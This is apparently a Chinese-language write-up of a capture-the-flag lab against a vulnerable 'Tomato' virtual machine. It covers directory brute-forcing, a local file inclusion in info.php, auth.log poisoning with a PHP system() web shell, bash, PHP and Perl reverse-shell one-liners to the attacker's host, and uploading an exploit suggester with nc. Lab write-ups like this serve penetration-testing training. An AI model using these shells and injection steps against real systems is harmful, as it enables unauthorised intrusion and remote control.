目录
开放了两个http服务端口,使用的中间件不一样。
21端口部署ftp
2211端口部署ssh服务
还知道这是unbuntu系统。
1.80
果然是个大西红柿,再例行检查下源码,业务有用信息
2.8888
登录框,最经典尝试,弱口令。无法成功
啥都没有,换大字典的话dirsearch跑的很慢,所以换gobuster
是基于go语言开发的,速度快
gobuster dir -u http://192.168.0.101 -w /usr/share/seclists/Discovery/Web-Content/common.txt
301状态码引起我们的注意
1.从图片判断这服务器部署里反爬虫应用
2.info.php文件
这就是一个phpinfo文件,里面有开关配置信息,服务器环境,配置文件目录等
3.info.php文件源码
注释中出现了信息泄露,很明显是一个include文件包含的函数
1.参数中对本地文件进行包含
2.对远程文件包含
实操:在kali上创建一个php文件,来远程包含,失败
条件:简单来说远程
文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程
文件包含的话,php配置的allow_url_include = on
必须为on(开启)
这点从phpinfo中也可以看出来。他没开
3.通过文件包含漏洞查看私钥
失败,他没有/home/tomato/.ssh/id_rsa
4.查看ubuntu日志文件
/var/log/auth.log
这个日志是unbuntu默认的登陆失败的记录日志。所以我们可以利用ssh或者ftp登录失败注入代码。
5.测试
ssh aaaaaaaaaaaa@192.168.0.101 -p 2211
果然我们输入的aaaaaaaaaaaa都出现在了上面,把他更改为木马
6.写入命令执行木马到日志
<?php echo system($_GET['cc'])?>
将这个写入的时候,php代码没有显示,证明服务器存在php运行环境,注入脚本正常解析了
7.参数测试
view-source:http://192.168.0.101/antibot_image/antibots/info.php?image=/var/log/auth.log&cc=id
最后利用python反弹成功
1.bash
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.php
php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
3.perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
sudo apt install linux-exploit-suggester
服务端:
nc -nvlp 4444 > 1.sh
客户端:
nc 192.168.0.101 4444 < linux-exploit-suggester.sh -w 1
在kali端用gcc编译后,nc上传,给予权限,最后执行。